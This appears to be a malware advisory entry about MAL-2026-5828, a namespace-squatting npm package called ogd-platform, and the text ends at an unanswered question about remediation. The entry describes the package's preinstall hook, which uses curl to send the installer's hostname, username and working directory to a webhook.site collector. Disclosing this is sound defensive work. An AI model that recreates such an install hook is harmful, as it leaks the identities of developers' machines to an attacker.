What is MAL-2026-5828?

MAL-2026-5828 is a malicious package in ogd-platform, published on 15 Jun 2026.

Official description

The package contains only a package.json with a preinstall lifecycle script and ships no actual functionality despite advertising itself as an 'Open Government Data Platform core'. On npm install, the preinstall hook runs curl --data-urlencode "info=$(hostname && whoami && pwd)" against a webhook.site collector URL, sending the installer's hostname, username, and current working directory to an attacker-controlled endpoint. The empty tarball plus recon beacon is the canonical dependency-confusion / namespace-squat reconnaissance shape: an internal build expecting a private ogd-platform package would resolve to this public registry entry and leak host identifiers to the attacker on install.

What should I do about MAL-2026-5828?
